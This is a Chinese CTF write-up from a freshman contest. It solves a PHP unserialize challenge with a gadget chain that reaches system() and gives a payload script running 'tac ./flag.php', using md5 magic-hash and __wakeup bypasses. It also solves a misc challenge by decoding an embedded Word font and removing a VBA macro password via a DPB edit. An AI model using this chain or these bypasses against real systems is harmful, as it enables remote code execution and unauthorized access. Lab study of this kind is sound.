俺们学校和另一个学校一块办的新生赛(具体哪个学校已经忘却了)然后就搬来了这两个题,一起研究了一下,web没啥,就是道普通的php反序列化,杂项还挺有意思的
babyserialize
代码批注
<?php
highlight_file(__FILE__);
error_reporting(0);
class C
{
public $manba; //变量manba
function __get($argv) //访问不存在的成员变量触发
{
$want = $this->manba; //给manba的值赋给want
return $want(); //把want当函数调用
}
}
class YULIN
{
public $cmd;
function __invoke() //把变量当函数调用时触发
{
system($this->cmd); //系统命令执行cmd
}
function __wakeup() //反序列化时触发
{
$this->cmd = "nonono"; //给cmd赋值nonono覆盖,很简单就能绕
}
}
class T
{
public $sth; //变量sth
function __toString() //当字符串调用触发
{
return $this->sth->var; //返回sth的var属性
}
}
class F
{
public $user = "what can i say"; //变量user为what can i say
public $notes; //notes变量
function __construct($user) //创建对象触发
{
$this->user = $user; //赋user值
}
function __destruct() //销毁对象触发
{
if ((string)$this->user!=='aabg7XSs'&&md5($this->user) == md5('aabg7XSs')) { //user和aabg7XSs不同但md5要相同
echo $this->notes; //把notes当字符串访问
}else{
die("N0!"); //不满足上面的话会中止掉脚本
}
}
}
if (isset($_GET['ser'])) { //GET传参 ser
$ser = unserialize(base64_decode($_GET['ser'])); //base64解码再反序列化
} else {
echo "what is the MoShuFangFa???";
}
?>
梳理好逻辑链就ok
先找到危险函数system(),要控制cmd变量,要触发__invoke,就去上面的what()
要控制want,要控制want就得控制manba(还得来触发这个__get),get拿下面访问sth->var的就可以触发,这里的触发还得拿md5的0e漏洞那有个echo可以触发__tostring,
还有__wakeup()要绕过,直接修改最后序列化数据的个数值就可以
达成rce之后就可以翻翻了,ls ./可以看到,之后cat ./flag.php不行,还以为是设置了权限,甚至想弹shell了,后来cat了一下index,就发现tac就可以了
payload:(最后一步)
<?php
class C
{
public $manba;
}
class YULIN
{
public $cmd;
}
class T
{
public $sth;
}
class F
{
public $user="QNKCDZO";
public $notes;
}
$c = new C();
$y = new YULIN();
$t = new T();
$f = new F();
$y->cmd = "tac ./flag.php";
$c->manba = $y;
$f->notes = $t;
$t->sth = $c;
echo(serialize($f));
?>
学长的结课论文
男娘传奇(
题目附件我发在文章最后面了,感兴趣可以看一看,还蛮有意思的
part2 3 4 都很好找,word里面小角标有part4,PPT图片后面粘着一个,word查看属性又有一个,难点在part1和part5上
part1还是在那个一眼就不对劲的字体上,JK两个字的字体被变成了手写的男娘二字()选中男娘的时候左上角可以看见Essay-font,直接去改zip解压找fontTable.xml,不知道的话只能挨个试试(一共五个,根据Eassy-font可以排除三个,没看见也没什么影响),这里应该是第四个的rId4是对的,复制fontkey,去改掉font4.odttf的名字,然后来这个网站
https://somanchiu.github.io/odttf2ttf/js/demo
上传,就可以变成ttf文件
具体的字体如何依靠这些文件实现的原理不再赘述(
然后我的这个ttf文件就删不掉了,一直显示被system占用(
这一步python脚本也可以
import os
odttf_name = "./1F513ACE-F8AD-4F84-9264-C7B38E1D8CB7.odttf"
odttf_path = os.path.abspath(odttf_name)
with open(odttf_path, "rb") as f:
data = f.read()
# 获取文件名
file_name = os.path.splitext(odttf_path)[0].split("\\")[-1].replace("-", "")
# 获取key
key = []
for i in range(len(file_name), 0, -2):
key.append(int(file_name[i-2:i], 16))
with open("./font2.ttf", "wb") as f:
for i in range(32):
f.write(bytes([data[i] ^ key[i % len(key)]]))
f.write(data[32:])
然后再来https://fontdrop.info/#/?darkmode=true将ttf整进去
就可以发现

再接着翻翻

然后是part5
part5有两个方法拿到
首先要把word里的图表拉出来另存(要处理信任文件问题,要不然出不来)
xlsm里面会看到where is sheet1
出来给xlsm改zip,解压,去找到vbaproject.bin
DPB改成DPx就可以杀掉VBA宏的密码,之后应该是保存然后重新打包改名回表格,然后打开,报错全都确定,去开发工具里就能开启上帝视角看全貌了
这里可以去吾爱破解上面搜一下有一篇很早以前的文章提到过这个方法
but天有不测风云,我这不知道为什么,开发工具打开以后,怎么也识别不到任何东西,按钮全是灰的,做不下去
我急中生智,想到要是要利用宏去获得flag,是不是在他代码里面就会有flag本体
直接去那个.bin里面记事本打开搜flag ,然后真的可以直接得到第五个了
附件下载👇
